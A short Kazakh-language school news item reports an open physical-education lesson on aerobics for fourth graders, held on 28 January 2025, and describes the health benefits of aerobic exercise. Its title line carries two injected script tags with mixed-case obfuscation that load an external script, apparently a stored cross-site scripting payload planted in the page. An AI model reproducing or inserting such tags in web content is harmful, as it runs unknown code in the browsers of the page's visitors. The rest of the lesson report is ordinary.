"Аэробиканың пайдасы" атты ашық сабақ<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

29.01.2025

 

28.01.2025 ж-4сыныпта денешынықтыру сабағынан ашық сабақ өтті!

“Аэробика жаттығулардың пайдасы,оңға,солға домалау,флешмоб”

Аэробика оттегімен жабдыктауды, ал кардиологиялык жаттыгулар журек-кан тамырларынын функционалдыгын жаксартуга багытталган. Аэробикалык жуктемелер артык салмакты тастаута,денсаулыкты ныгайтып, жасартуга септігін тигізеді.